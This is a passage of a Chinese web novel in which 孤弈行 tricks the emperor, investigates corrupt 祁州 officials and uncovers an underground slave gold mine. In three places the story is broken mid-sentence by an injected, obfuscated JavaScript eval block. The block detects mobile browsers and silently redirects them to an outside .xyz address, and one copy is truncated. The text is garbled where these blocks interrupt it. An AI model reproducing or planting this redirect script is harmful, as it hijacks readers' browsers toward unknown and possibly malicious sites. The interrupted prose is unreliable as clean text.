孤弈行仔细回味道:“素掌门这么一提醒,洛某倒是想起来了,那好像是一种药味。” 素朝英微微颔首:“不错,这些时日阿心之所以待在渡因楼,是因为素某发现长时间药熏可以不断减轻她的疯癫之症,直至治愈。” “现在的阿心已经少有疯癫举动,接近痊愈。若是再用药熏之法治疗七日,便能痊愈。” “原来如此。”言煜薄唇微启。 素朝英转过身与喻威对视,浅笑道:“不知如此答案天子陛下可还满意?” 声声入耳,喻威的面子有些挂不住,脸色微沉,但他还是按捺住没有发作:“不是自然最好。” “若是陛下不放心,素某可以把方才为陛下带路的素娥叫来,让她与阿心见上一面便知此人是否是真的阿心。” 话虽如此,喻威心中却是早已明了。既然素朝英敢提出这个方法,就说明她确保此人就是阿心,不然她也不敢铤而走险。事已至此,已经证明阿心并非孤弈行,他也大可放心,若继续下去,他自己也将没有台阶下。 是以喻威笑了笑:“不必了,看来是误会一场,叨扰了。” 素朝英勾了勾唇:“素某见眼下天色已晚,若是陛下与诸位大人不弃,便在峨眉山留宿一晚,明日再启程吧。” “好。” 言罢喻威转身离去,孤弈行抬眸恰好与素朝英对视,唇角轻勾。 而后孤弈行便被领着进入了一间客房,一到客房内琴潇便禁闭门窗,长舒了一口气。 “小姐,方才真是吓死我了,这究竟是怎么回事啊?”琴潇忍不住道。 孤弈行见琴潇被吓得不轻,拍了拍她的肩膀,勾唇一笑:“你还记得我先前和你说过我在峨眉山时候的事吗?” 琴潇练练点头:“记得。” “早在离开峨眉山之前,我与言煜还有素掌门便想到了今日。” “所以……”琴潇恍然大悟。 “不错。”孤弈行眉眼轻扬,朱唇微启,“方才假扮阿心的是言煜手下无影阁的人,而她之所以能有阿心的相貌是因为……她带的人皮面具与我当年在峨眉山上带的一模一样。” “原来是这样。”琴潇道,“今日真是太险了,幸好小姐早有安排。” 孤弈行望着窗外,眸色渐沉,眼神凉薄:“像他这样的人,一旦生了猜忌之心,只会相信自己的眼睛。既如此,倒不如满足他。” 琴潇望着孤弈行,见微红的烛光映着她风流的桃花眼,仿佛要将她的眼眸染红。这一切落入琴潇的眼中,竟觉得心头有些压抑。。 从晋安门外相识到如今,孤弈行是琴潇见过最特别的人。 她有时很沉稳,让琴潇觉得只要有孤弈行在身边,她就什么都不用顾虑,什么也不必畏惧。她有时又很洒脱,仿佛一切都是她的主场,让琴潇心生羡慕。 但此刻,琴潇望着这样的孤弈行,却觉得有些心疼。她好像早已把一切都谋划好,但却忘了照顾她自己的感受。她的确是个坚强的人,但她也需要休息,需要让自己短暂放松。 “小姐……”琴潇心头有些反酸,不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986682|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉哽咽道。但其实,她也没想好要说些什么。 孤弈行闻声侧过身来,见琴潇眼眶微红,一时微愣,语声柔和:“怎么了?怎么眼睛还红了?” “没事,没事小姐……”琴潇下意识掩饰,却不知晓自己的脸颊也开始红了起来,“我……” 孤弈行靠近了些,揽住她的肩膀,勾唇轻笑:“和我说说。” 琴潇抬眸对上孤弈行的目光,终于鼓起勇气道:“我就是有些心疼小姐。” 声声入耳,孤弈行微愣,眼神里流露出一丝惊讶:“心疼我?” “是不是听起来很好笑?”琴潇道。 “不好笑,只是有些惊讶。”孤弈行摇了摇头,低头回想道,“因为好像还没有人对我用过这个词,听起来有些陌生。” 琴潇与孤弈行对视,眼神真挚:“但我说的是真的,小姐你其实很值得被人心疼。” 孤弈行见琴潇是认真的,唇边笑意逐渐隐去。 “在遇见小姐之前,琴潇从未想过一个女子能在这个乱世独当一面,甚至让一众男子听到她的名号就闻风丧胆。”琴潇微微哽咽道,“但小姐做到了。” “或许小姐不知道,其实当年我入军营就是因为小姐。” “因为我?”孤弈行有些惊讶,“可是那个时候我们并未相识。” 琴潇使劲点了点头:“我当时的确不曾见过小姐,但却听过小姐的名讳。” “那个时候我还是一个闺阁女子,因为天生力气大常常自卑,甚至不敢出门见人。直到有一日我听到街头巷尾都在传当时还是王姬的小姐在军中磨砺又打了胜仗,我便有了入伍参军的想法。”琴潇回想道。 孤弈行听得认真,轻声道:“后来呢?” “后来我就说服爹娘入伍参军,在去军营的路上我看到了很多百姓,我当时就在想:凭什么女子只能做闺阁之物,凭什么只有男子才能建功立业,男子能做到的女子一样可以做到。”思及过往,琴潇热泪盈眶,“后来的事小姐想必都知道了,我主动潜入洛阳成了静嫔。” “说得好!”孤弈行勾唇一笑,恣意洒脱,“若有人觉得这个世道就是男人的世道,那我便推翻这个破世道!这个世上没有人天生就该是花瓶,是物品,只有自怨自艾无所作为的人。” “当年我一手成立了凤字军,也是因为看到了更多像你一样的人。” “我想和小姐说,不止是我,你真的影响了很多人,改变了很多人的人生,不论是凤字军中的姐妹,还是远在边关的百姓。” 琴潇握住孤弈行的手,眼神建议:“未来的路还未知,但琴潇会一直陪着小姐的,而且我相信小姐想做的事一定可以做成。” 虽然不知琴潇今日为何突然说这些,孤弈行听了这番话心头还是泛起一阵触动。她笑着点了点头,伸手抱住琴潇:“谢谢你,琴潇。” “不过有件事,我想问问你。” 琴潇道:“小姐请说。” 孤弈行朱唇轻抿:“我当年出事之后,你可曾再联系过凤字军和旭风营的兄弟?” 70. 故地 琴潇点了点头,却欲言又止:“联系过……但……” 孤弈行见她面露难色,便什么都明白了:“没联系上?” 琴潇颔首,眉头紧蹙:“与我一道入伍的姐妹确实有一些被分去了凤字军,我当年在言大人的帮助下逃脱追杀后确实也曾想办法联系她们,但都杳无音讯。至于旭风营的兄弟……亦是如此。” 声声入耳,孤弈行眸色渐沉,良久眼神坚毅:“究竟发生了何事,待我们到祁地之后便都知晓了。” 琴潇抬眸与孤弈行对视,眼眶微红。 次日一早,一行人启程,终于在四日后抵达祁地。 孤弈行早年曾听说过不少文人墨客近乡情怯的故事,当时她都不以为然,但而今真的到了苍云川脚下,望见那无数次在梦里出现的环绕在山峦之中的广袤平原,又见熟悉的城门上崭新的“祁州”二字,她竟真的有些犹豫了。 此时距离她离开祁地,率军攻入京城已然过去了整整七年。 在这七年里,发生了太多事,但孤弈行却心知肚明,她之所以犹豫不是因为她的身份变了,而是因为她怕记忆里的故乡早已不是原来的模样,这座城里的人也已不是当年她记忆里的那些人了。 “小姐。”琴潇察觉到孤弈行脸色不太好,眼神关心。 言煜也侧过身来握住她的手。 孤弈行望着城门长舒了一口气,怅然一笑:“没什么,入城吧。” 熟悉的街巷依旧与孤弈行记忆中的悄然重叠,但孤弈行却觉得城内的气氛相比当年凄凉了不少,街巷边的小摊小贩走了不少,只留下无人问津的破败摊面。 孤弈行将这一切看在眼里,虽不能言语,心头却格外压抑。 “好漂亮的马……娘亲,那个马车也好漂亮……” 孤弈行循着声音望去,见是一个扎着两个小丸子辫的小女孩在不远处指着她的马还有她身后喻威坐着的那辆马车。 她看上去五六岁的样子,笑起来很甜,让孤弈行心头的阴云消散不少。孤弈行经过她的身旁俯身想去轻抚她的额头,却见小女孩突然被一个妇女抱开。 孤弈行抬眸,见那抱着小女孩的妇女一脸警惕,似是神经紧绷,畏畏缩缩道:“小姐……小孩子不懂事……您勿怪!” 说罢也不等孤弈行开口就把那小女孩抱走了,倒好像她是什么洪水猛兽能一口把那小女孩吃了似的。 孤弈行正觉得有些奇怪,余光却瞥见车队右侧有一着深棕色长衫,长着招风耳的中年男人行踪可疑。 他不时往马车望去,似乎在打量着什么,孤弈行正想翻身下马将其擒住却见他突然双腿一弯,跪在地上,将头埋下。 “陛下……真的是陛下!参见陛下!陛下万岁万岁万万岁!” 他说话的声音极响且中气十足,以至于一旁路过的百姓听了都跟着跪在地上。 “草民叩见陛下!陛下万岁万岁万万岁!” 喻威此次西巡本就是微服私访,若只是此人一人认出倒还好办,但如今一大片的百姓都汇聚于此,想要再遮掩怕是也为时已晚。 “洛爱卿,出了何事?”马车内的喻威也听到了动静,道。 孤弈行翻身下马,掀开马车车帘的一角将事情的来龙去脉告知喻威。喻威脸色微沉,但也知此次暗中出巡的计划怕是落空,便起身走出了马车。 喻威环顾四周,言语之间尽显皇室威仪:“诸位平身。” “谢陛下!”众人齐声唤道。 没过多久众人散去,喻威走进马车,那最先带头的招风耳男人也想开溜,却被孤弈行拿剑制住。 那人不曾见过这阵仗,吓得脸色煞白,双腿直哆嗦:“这……这是做什么……” 孤弈行可不吃装可怜这套,眉眼深处蕴含杀意:“说!谁派你来的!想做什么!” “我没做什么啊大人……冤枉啊大人!” “没做什么?”孤弈行冷笑一声,“陛下微服私访,并未对外公布消息,你怎知马车内的是陛下!” “我看到了啊……”那人畏畏缩缩道。 孤弈行见那人窝囊样实在忍无可忍,右手轻轻一转,剑刃顿时紧贴那人脖颈处,只需孤弈行轻轻一舞,长剑便会刺破他的脖颈。 “本将军脾气不好,你最好一口气说完,不然别怪本将军教你做人!”孤弈行长眉一挑,“说!是不是想要对陛下不利!” 那人被吓得几乎快要灵魂失窍,终于道:“我绝不敢对陛下不利!我方才就是看到了将军腰间挂的紫檀木嵌金令牌,又听闻陛下今日西巡,就猜测是陛下亲至。一时激动,就没忍住。” 孤弈行听罢低头望了一眼腰间的令牌,这确实是先前喻威给她的。如此说来,这人说的话倒有些合理,但孤弈行总觉得有些不对。 她挑了挑眉:“说的都是真的?” 招风耳男人舒了一口气,陪笑道:“真的真的,说起来我们还是一家人呢。” 一家人……一旁默声不语的言煜侧身望着孤弈行,又望了一眼面前的招风耳男人,顿时心生警惕。 孤弈行使劲推了一把那人的肩膀,冷冷道:“谁和你是一家人!” 招风耳男人不曾回过神来被推得倒了下去,而后圆滑地笑道:“将军误会了,我之所以说和将军是一家人是因为我也是官府的人,可不就是一家人嘛!” 官府的人……怪不得认得她腰间的这块令牌。孤弈行心想。 但孤弈行丝毫不给他套近乎的机会,只道:“你是何人?” 招风耳男人整理了一下衣袖,欠身道:“下官祁州通判翟杰,见过将军,见过……这位大人。” 喻威咳嗽了一声,再次走下马车,居高临下道:“你就是丁仁舟的手下?” 翟杰见了喻威将头埋得更低了些,中气十足道:“回陛下,下官的确在丁大人手下做事。” 喻威微微颔首:“既如此,朕正好要见丁仁舟,就由你带路。” “是!陛下!” 而后翟杰便带着一行人到了知州府,而一行人还未来得及进入知州府,一个身着官服, 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“我总觉得有些不对。”孤弈行刻意压低音量。 言煜微微颔首,薄唇轻抿:“翟杰此人方才在街上的行为便有些可疑,就好像……” “好像在故意闹大动静,巴不得让所有人知道他到了。”孤弈行应道,与言煜相视一笑。 “陛下,诸位大人,略备小菜,请慢用。”丁仁杰笑道。 “爱卿有心了。”喻威随即上座。 孤弈行在言煜身旁坐下,见算不得大的黄花梨桌面摆满了各式各样的菜肴,有手抓羊肉,秘制葫芦鸡,商芝肉,奶汤锅子鱼,还有一道祁地最有名的甜品酥山。 这些都是祁地当地的特色美食,孤弈行从小吃到大并不陌生,因此也最明白这些菜肴背后的所花的时间和功夫。 “不知陛下可吃得惯?”丁仁杰笑容圆滑。 喻威吃了一块商芝肉,道:“菜品如此丰盛,爱卿有心了。” “方才听到街上的消息,微臣便命人去准备了,既然陛下满意微臣心中自也欢喜。” “洛某初来祁州对祁州美食不甚了解,但心中却有些疑惑,还望丁大人解惑。”孤弈行尝了一口酥山,道。 丁仁杰似是不曾料到对方会发问,一时有些局促,随即笑道:“洛大人请说。” “这些菜肴滋味都是极好,看着也极为用心,丁大人方才说是听到街上消息才命人新做的,想必知州府后厨定是有高人,才能在如此短的时间内完成菜肴的制作,洛某这些日子也想学着做些菜,不知可否向高人偷学几招?”孤弈行眉眼轻扬,恣意一笑。 “这……”丁仁杰微愣,随后下意识地望了一眼身旁的喻威,定了定神道,“也不是下官不想带大人前往,只是这高人厨子性情古怪,下官实在怕他冒犯了大人。” “这样!若是大人有意学做菜肴,下官过几日再带另一个高厨教大人几道菜如何?” 71. 不归谷 孤弈行勾了勾唇,若有所思:“也好,那就有劳丁大人了。” “不麻烦,不麻烦。”丁仁舟连连陪笑道。 “丁爱卿,这一年来祁州治理如何?”喻威搁下碗筷,正色道。 “回陛下,这一年来祁州境内一切太平,原来堆积的不少旧案也一一勘破,百姓们都说陛下是千古名君,他们才能过上如今的好日子。” 丁仁舟一番拍马让喻威顿时满面春风,可孤弈行却不会这般轻易相信此人的话。 她还记得当初在街上遇到的那个小女孩,还有那个望着她满脸警惕,一把把小女孩抱过去的妇女。若这一年来祁州真如丁仁州所说这般太平,百姓安居乐业,那妇女又为何会对她这般警惕? 还有,眼前早就备好的菜肴,以及翟杰在街上的反应和举动也都让人生疑,种种迹象都在不断印证孤弈行的猜想:丁仁舟和翟杰在隐瞒着什么。 但孤弈行观此二人都甚是圆滑,想来套不出太多话来,要想找出背后的答案恐怕还得去街上看看能不能得到有用的消息。 酒过三巡,喻威不胜酒力脸色微醺,便被人扶到房中休息,孤弈行和言煜便以刚到祁州四处逛逛为由离开了知州府。 “丁仁舟和翟杰是一伙的。”言煜微微皱眉。 孤弈行颔首,她总感觉自离开知州府之后便有人一直在盯着他们。 她给言煜使了个眼色,二人同时加快速度,而后孤弈行陡然停下,转身见自己身后果然站着一个剃着短寸头的中年男人。 那短寸头男人显然不曾料到对方突然停下,先是一愣,而后极快的速度抢过言煜腰间的钱袋便转身逃跑。 孤弈行眼疾手快,直接追上那人欲将其擒住。孤弈行见那人腿脚十分利索,似乎在军中锻炼过,便早已做好了搏斗的准备,却不曾想那男人只是象征性地挣扎了一下,便束手就擒。 “你是什么人?”孤弈行绑住那人双手道。 “我叫何复,是本地人。”何复应道,“原也是不愁吃穿,但最近家中出了些事,实在是没钱了,这才心生歪念,大人饶命!” 有意思……孤弈行双手抱胸,眉心微挑:“我们皆未着官服,你怎知我是官府的人?” 何复下意识道:“方才二位从知州府出来,可不是官府的人吗?” 孤弈行差点没笑出来:“你跟踪我们?” 何复意识到自己说错话了,连连摇头:“没有没有!路过而已!” 孤弈行拍了拍衣袖,勾唇笑道:“那我就暂且当你路过,但我更想问的是……既然你知道我们是官,你还敢偷我们的钱袋,你的胆子不是一般的肥啊!” “我……”这下何复脸色涨红,再说不出话来。 孤弈行抬眸与何复对视,眼神笃定:“你做的一切都不符合常理,除非……” 何复后背一凉。 “除非你偷窃是假,想要趁机引起我们注意才是真。” 话音未落,孤弈行见何复眼神闪躲,便知自己猜测不假。 何复见心思被戳穿也不再掩饰,仔细打量了一下面前两人,试探道:“听说……你们是从京城来的官?” “不错。”孤弈行道。 “可否请你们到我家坐坐?” 孤弈行抬眸与言煜对视,随即微微颔首。 琴潇押着何复,何复穿入一条小巷,而后走过两个岔路口便到了一处破旧的屋子。 孤弈行留意过屋子东西两侧各有一件卧房,东侧那间的木桌上有个没盖盖子的茶杯,应是何复平日里用的。至于西侧那间卧房的房门半掩着,但透过缝隙望去里面很是昏暗,应是无人居住。 言煜和飞鸢说了几句,飞鸢便转身离开。 “你当过兵吗?”孤弈行随口一问。 何复摇了摇头,却不敢直视孤弈行双眼:“不……不曾……” 孤弈行勾了勾唇,也没再多问,斜靠着墙壁:“你找我们究竟所为何事?” 几番试探下来,何复知自己瞒不过眼前人,双腿一软,竟直接跪了下来:“两位大人,我怎么样都无所谓,但求二位救救我弟弟何枫吧!” “你弟弟怎么了?”言煜道。 “我弟弟他……”何复微微低头,泪水在红透了的眼眶中止不住地打转,“他失踪了,我觉得他是被人带到了传说中的不归谷。” “不归谷?那是什么?”孤弈行眯了眯眼。 “这一年来祁州不断有人失踪,据说都是被带去了苍云川山脚下的不归谷。” 孤弈行眉心微蹙:“就没人去找过?” “有人去找过,但……”何复的声音低了下去,“都再没回来。” “官府知道吗?” 提及官府,何复的眼神里流露出几丝嘲讽与无奈:“知道又怎么样?他们自有万般借口,从未派人查过。” “这好好的祁州,也正是因为他们,才变成了如今这样。” 就在此时,飞鸢回到了言煜身边小声说了几句。 言煜点了点头,孤弈行便听飞鸢道:“方才主君派我去找何复的邻里,邻里都说何复为人正直,是个好人。” 看来何复行偷窃之事确实是情势所迫,目的的确是为了引起她和言煜的注意,好向他们求救。孤弈行心想。 “你可知这不归谷的具体位置?”孤弈行抬眸道。 何复点了点头:“这些日子我四处打探消息,东拼西凑知晓了不归谷的位置。” 孤弈行侧身与言煜对视,而后道:“既如此,带我们去探探。” 何复连连颔首:“好,我这就带二位大人去。” 一个时辰后,何复带着孤弈行和言煜到了人们口中苍云川山脚下不归谷所在之处。 然而孤弈行环顾四周,只见一处茂密的树林,并未见到传说中的不归谷谷口。 飞鸢忍不住道:“这哪儿有什么不归谷啊?何复你莫不是骗我们的!” 何复眉头紧皱,额间硬生生挤出一道皱纹,喃喃道:“不可能啊……我问了很多人都说就在这儿啊……怎么会有错呢?” 孤弈行挑了挑眉:“你确定?” 何复斩钉截铁道:“确定是确定!只是这……” “既然去过不归谷的人都有来无回,那消息有出入也在情理之中。”言煜抿唇道,“我看这四周只有树林,既然来了,不如去那边瞧瞧,说不定会有发现。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012209|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 言煜所言与孤弈行心中所想不谋而合,一行人随即往茂密的树林而去。 进入树林不久孤弈行就感觉有雾气逐渐弥漫,几乎快要看不到脚下,路也越来越难走。 “跟紧些,注意脚下。”孤弈行道。 话音未落,孤弈行感觉到身旁言煜的身体向下一沉,她心道不好,伸手去抓言煜的手臂,还好言煜也及时反应过来,一记轻云步重回地面,总算是有惊无险。 “这底下有陷阱。”言煜道。 孤弈行勾了勾唇:“看来我们是来对地方了。” “小心!”琴潇喝道。 孤弈行闻声转身,却见何复的身影逐渐消失在视线之中。 “何复!” 无人回应。 孤弈行喊道:“何复!” 过了一会,孤弈行隐隐听到不远处传来何复的声音。她循着声音小步靠近,最终确定了声音就来自自己脚下。 然而此时雾气正浓,孤弈行根本看不起自己脚下的情况。 “小姐,这可如何是好?”琴潇急得团团转。 “对了!”孤弈行突然转身,握住言煜的手,语气有些激动,“火折子!言煜你带火折子了吗?” “带了。”言煜顿悟,从衣袖中取出几个火折子递到孤弈行手中。 孤弈行将火折子分给琴潇,言煜和飞鸢,随即拿了一个轻轻一吹,火折子便着了,借着火光,孤弈行隐隐能将脚下的路看清了些。 随后言煜,琴潇和飞鸢也点燃了火折子,四人一起蹲下,火光散去了一些雾气,洞口果然隐隐出现。 “我下去看看。”孤弈行主动道。 孤弈行却感觉到自己的手腕被人握住,抬眸对上言煜担忧的眼神。 “我与你一起去。” 孤弈行笑着摇了摇头:“你要是和我一起下去了,万一下面有危险,谁来救我们?” 声声入耳,言煜知晓自己是关心则乱了,于是长吸了一口气,与孤弈行对视神色动容:“好吧,千万小心。” “放心。”孤弈行眉眼轻扬,随即纵身跃入陷阱。 山洞底下雾气不重,孤弈行很快见到了靠在一旁的何复。 何复见到有人下来,顿时激动地走了过来,但孤弈行却见何复走路姿势有些怪异。 “怎么了?”孤弈行问道。 “没什么,刚刚摔下来扭到了脚,并无大碍。”何复应道。 “那就好。” 言罢,孤弈行环顾四周,只见这个陷阱远比自己想象得要大得多,而且四周连通,想来应是树林中的所有陷阱都相连,活脱脱的就是一个地宫。 “大人,我觉得我们可能来对地方了。” 孤弈行转身:“为什么这么说?” 下一秒,孤弈行见何复不知从哪儿找到了一双沾满了污泥的蓝色的针织手套。 “我们一条巷里住着一户人家,是一家三口,二十多岁的小伙子前些日子也失踪了,那闫大哥硬是要来找,人也就再没回来。” “闫大哥的妻子春芳说闫大哥失踪的时候就带着她亲手做的蓝色的针织手套,那手套我亲眼见过,就是这双,错不了!” 72. 地宫玄机 孤弈行点了点头:“这地宫很大,我们先往里走走。” “好。”何复道。 孤弈行和何复并肩而行,见泥土里还留有不少大大小小的脚印,想来也是来寻不归谷而进入树林的人不慎掉落陷阱时留下的。 “大人,看来我们来对地方了。” 孤弈行点了点头,随即望见不远处有一处分岔口,分别通往两个不同的方向。 孤弈行见两处小道内皆漆黑一片,深不见底,便道:“你往左,我往右,一炷香过后在此见面,如果遇到意外以哨声为令。” “好。” 孤弈行见何复往左侧小道而去,自己则往右侧而去。 越往里走,孤弈行发现道路越来越窄,从原来的足以支撑四人并肩而行,到后来只能一人通行,而且越往里走光线越暗,孤弈行借着火折子的光才勉强能看清脚下的路。 她忍不住心想,现在还是在白天,地宫里还有些许光线,若是在夜里,里面的路怕是更难走。 孤弈行继续往里走去,见泥土上留下了大大小小的脚印,却在一处墙边消失了。 孤弈行顿时心生警惕,从腰间抽出西域弯刀用刀柄向前伸去,果然发现这里就是小道的尽头。 孤弈行又用刀柄仔细敲了敲墙面,发现墙背后似是空的。她蹲下身去,见紧贴着墙边的泥土缝里蓄有污水。 孤弈行顿时心里有了一番思量:莫非……这面墙可以从外面打开。 孤弈行进入陷阱之前便有了心理准备,若是换作寻常的陷阱,所有人掉入陷阱之后由于出不去都会被困死在陷阱里,久而久之化作白骨。 若是如此,地宫内就应该有尸骨才对,但孤弈行一路走来却只见脚印不见尸骨,看来掉入陷阱的人都没有被困死在地宫之中,由此便只有一种可能:地宫有出口,地宫里的人都被带了出去。 而如今地宫尽头这面看似可以从外面打开的墙正好印证了孤弈行的猜想。 就在此时,孤弈行听见左侧土堆后传来窸窸窣窣的声音。 孤弈行并没有直接打草惊蛇,而是手持弯刀压低身面无声靠近,最终将刀刃抵在那人脖子上。 映着火折子散发出的火光,孤弈行看清了那是一个中年男人。 男人的腿脚似乎不太利索,此时被吓了一条更是差点被忍住双腿一软跪了下去。 “你是什么人?”孤弈行道。 “我……我是来找人的。”中年男人声音微颤。 孤弈行见对方是个手无缚鸡之力的平民百姓,便收起弯刀插在腰间。 中年男人仔细打量着孤弈行,叹了口气:“小姑娘,你说你年纪轻轻的,做什么想不开要来这儿啊!” 还没等孤弈行回答,她便见中年男人用惋惜的眼神看着自己:“莫非是你郎君被抓走了?你是为了来寻你郎君才到这儿来的?” 孤弈行被呛得连连咳嗽了好几声,摇了摇头解释道:“没有的事,我是替别人来找人的。” 孤弈行望着面前的中年男人,突然想到什么,试探道:“莫非你姓闫?” “你怎么知道!”中年男人激动道。 孤弈行顿时舒了一口气,道:“此时说来话长,我是和何复一起来的,听何复说起过你。时候差不多了,我们先往外走,他应该在外面等我们。” 中年男人点了点头,随即往外走去,但走了几步便面露痛苦之色,孤弈行这才发现他竟是摔断了腿,他的右腿还在渗血。 孤弈行随即撕下有右手衣袖上的布料按照军中管理给对方包扎,道:“忘了你腿不方便了,这样,你就在此处等着,我们过一会就来。” 中年男人点了点头。 孤弈行转身欲走,却似想到什么,转身望着中年男人道:“对了,你知道这地宫怎么出去吗?” 中年男人苦笑着摇了摇头。 孤弈行点了点头,转身离开。她心知此时差不多已经过去了一炷香的功夫,若是她还不到,不论是何复还是等在上面的言煜怕都要着急了。 于是,孤弈行飞奔着往分岔口而去,见何复已在分岔口等待多时。 “你什么时候到的?”孤弈行微微喘气。 “左边这条道看着深,实则很浅,我走了没一会就走到头折回来了,除了地上的脚印什么都没发现。” 孤弈行点了点头:“我这条道很深,且尽头有一面看上去可以移动的墙,我怀疑就是地宫的出口,我在那里还见到你说的闫大哥了。” “闫大哥!”何复眼睛顿时亮了。 “我先让他们下来,其他的事我们一起商量。” “好。” 言罢,孤弈行吹了口哨,言煜,琴潇,飞鸢随即纵身跃入地宫中。 “没事吧?”言煜扶住孤弈行的肩膀,眼神里满是紧张。 孤弈行笑着摇了摇头:“我能有什么事?你放心就好。” “那就好。”言煜抿了抿唇。 “我和何复方才兵分两路把地宫里的路都走了一遍,最终发现右边小道的尽头有一面看上去可以移动的墙,那里应该就是地宫的出口。” “过去看看。”言煜道。 众人随即沿着右侧小道一路走到尽头。 何复最先看到闫善,直接拥了上去将其扶住:“闫大哥!没想到真的是你!” 闫善也很是激动:“何兄弟,你来这儿做什么啊?” 何复长叹了一口气,眼底满是伤感:“小枫也失踪了,我是因为找他才到这儿的。” “小枫?”闫善微愣,随即锤了一下墙,“真是作孽啊!” 言煜用手轻轻敲了敲墙壁,发现后面是空的,道:“这面墙应该可以从外面被打开,先前掉入陷阱的人应当都被带了出去。” 孤弈行与言煜对视,勾唇一笑:“不错。” “可是把人困死在地宫里不是更省事吗,外面的人为什么又要把人带出去呢?”一旁的琴潇不解道。 “我也一直在思考这个问题。”孤弈行微微低头,“除非有一种可能。” “他们缺人,之前不断有人失踪也是因为他们急需用人,他们带走掉入陷阱的人只怕也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人随即噤声蹲下,孤弈行听见墙外的脚步声越来越近,最终停下,没过一会,墙就从外面被打开。 众人没有急着擒人,而是等四人往地宫里走得深了些之后将其制服,打晕在地。 “如果一会他们四个不出去,外面的人怕会起疑,届时我们只怕都会暴露。”何复面露紧张之色。 孤弈行勾唇一笑,目光落在被打晕在地,身着玄色衣裳,头戴玄色头巾的男人身上。 “那就把他们衣服扒了穿上。”孤弈行道,“只不过他们只有四人,怕是要委屈闫大哥和何复了。” 话音未落,闫善和何复便明白了孤弈行的意思,笑道:“不委屈,只要有两位大人在,便能救更多人。” 孤弈行心头泛起一阵触动,随即干脆利落地扒下其中一人的衣裳换上,又在脸上绑上头巾,而后将四人捆住扔到角落。 孤弈行转身欲走,却见何复走到那四人身旁,从衣袖里取出一个白瓷罐。 “那是什么?”孤弈行挑了挑眉。 “是蒙汗药,我猜到会有用,便带着了。”何复从白瓷罐中抓出一小把白粉往空中一挥,四人顿时睡得更沉了。 “两位大人放心,有了这药,保准他们睡上个好几天!” 众人随即走到被打开的墙壁前,孤弈行和言煜对视一眼,分别押着何复和闫善走出了地宫。 73. 奴隶营 “怎么去这么久?” 孤弈行见不远处走来的一个同样打扮的黑脸男人,他打量了一下何复和闫善,没好气地抱怨:“就俩人?还有一个瘸子?” 孤弈行点了点头。 这时来了一个矮个子笑着给黑脸男人散火:“大哥,这些日子外面管得严,有两个也不错了。等风头过去,便好办了。” 黑脸男人啐了口唾沫,满脸不屑:“你说的是那两个京城来的官,和那个被耍得团团转的废物皇帝?” 矮个子笑着点了点头:“是啊,但大哥放心,我们提前有防备,他们查不到这儿来。” 提前有防备……孤弈行挑了挑眉,想来便与那翟杰和丁仁舟脱不了干系了。 “先把这两个送进去。”黑脸男人道。 “是,大哥。” 孤弈行和言煜押着何复和闫善往前走去,但很快便被叫住。 “暗门怎么不关?” 孤弈行心头一沉,随即转身向黑脸男人笑了笑,而后向那面墙走去。她见可以移动的墙壁边上有一串机关,里面藏有九个按钮,若是孤弈行没有猜错,只需要按下其中一个按钮暗门便可移动成原状。 “还愣着干什么!麻利点!”黑脸男人喝道。 孤弈行不曾见过有人使用这种机关,但她却总觉得按钮下的图案有些熟悉。 言煜见孤弈行不曾抬手便知机关有些棘手,但他深知此刻若自己走过去定会让旁人起疑,只好站在原地,按在闫善后肩上的右手微微攥紧。 孤弈行抬手轻抚图案,脑海中陡然回想起一种自己见过的图腾。 再仔细一对比,孤弈行便察觉出机关上已有的图案并不完整,虽然勾勒出隼的形状,却还少了最关键的一笔。 孤弈行勾了勾唇,按下其中按钮,隼的形状就此完整,暗门缓缓关上。 “别磨磨唧唧的!”黑脸男人催促道。 孤弈行与言煜对视,随即押着何复继续向前走去,始终眉头不展。 如果说一开始还不确定上面图案的由来,当暗门关上的那一刻孤弈行心中便已然明了。 隼代表的是一种图腾,这些图腾孤弈行曾经见过,是喻威母族的图腾。由此一来,此事的背后便与喻威母族脱不了干系。 让孤弈行觉得奇怪的是,就进入祁州之后的反应来看喻威对此似乎毫不知情。但无论如何,她都不会允许祁州百姓惨遭迫害,生活在水生火热之中,是以这件事她必须彻查到底。 孤弈行和言煜押着何复和闫善走过一小片灌木丛后到了一处小山丘,立在山丘边缘居高临下,腹地内的情况一览无余。 地面堆满了大大小小的金色矿石,无数年轻的男男女女穿着破旧的布衣手持镐子在山脚下挖着金矿,他们身上都被戴上了沉重的锁链,显然已经沦为奴隶。 而他们的身旁不时走过几个身着玄衣,用玄色头巾蒙着半张脸的监工。监工时不时地拿起手中的皮鞭用力地抽打奴隶,起初还有奴隶想要反抗,但随着监工抽打得越来越狠,他们最终也就放弃了反抗。 俯视着山下的场面,孤弈行右手逐渐攥紧,心绪久久难平。 她从未想过有朝一日,自己记忆中的家乡会被人变成一座吸食百姓血肉的人间地狱。苍云川本该是自由的旷野,如今却满是血腥的气息。 想到此处,孤弈行气息微乱,眼神压抑。 “把他们两个带下去,然后你们两个便也去监工吧,前几日新来的几个不太守规矩,记得多照顾点。”黑脸男人冷哼了一声,随即和矮个子一起离开。 言煜见孤弈行神色有异,轻声道:“没事吧?” 孤弈行摇了摇头,强忍着情绪恢复往日神色:“方才暗门上的密码是隼形图腾。” 